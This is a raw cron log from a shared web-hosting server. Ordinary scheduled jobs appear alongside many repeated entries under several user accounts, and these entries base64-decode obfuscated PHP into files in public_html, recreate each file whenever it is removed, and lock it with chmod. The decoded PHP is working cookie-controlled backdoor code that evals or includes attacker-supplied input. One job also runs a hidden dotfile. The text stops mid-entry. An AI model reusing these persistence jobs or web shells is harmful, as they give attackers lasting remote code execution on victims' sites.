Jun  7 07:11:01 medusa CROND[13465]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:12:01 medusa CROND[15598]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 07:12:01 medusa CROND[15606]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 07:12:01 medusa CROND[15608]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:12:01 medusa CROND[15609]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:12:01 medusa CROND[15610]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 07:12:01 medusa CROND[15611]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 07:12:01 medusa CROND[15612]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 07:12:01 medusa CROND[15614]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 07:12:01 medusa CROND[15617]: (energiae) CMD (/opt/cpanel/ea-php74/root/usr/bin/php /home5/energiae/analytics.energiaenmovimiento.com.ar/console core:archive --url=https://analytics.energiaenmovimiento.com.ar/ > /dev/null)
Jun  7 07:12:01 medusa CROND[15620]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 07:12:01 medusa CROND[15623]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 07:12:01 medusa CROND[15624]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 07:12:01 medusa CROND[15625]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:12:01 medusa CROND[15629]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:12:01 medusa CROND[15630]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 07:13:01 medusa CROND[17772]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 07:13:01 medusa CROND[17773]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 07:13:01 medusa CROND[17774]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 07:13:01 medusa CROND[17775]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:13:01 medusa CROND[17777]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Jun  7 07:13:01 medusa CROND[17778]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 07:13:01 medusa CROND[17779]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 07:13:01 medusa CROND[17780]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 07:13:01 medusa CROND[17781]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 07:13:01 medusa CROND[17782]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:13:01 medusa CROND[17786]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:13:01 medusa CROND[17788]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:13:01 medusa CROND[17787]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 07:13:01 medusa CROND[17793]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 07:14:01 medusa CROND[19666]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 07:14:01 medusa CROND[19667]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZX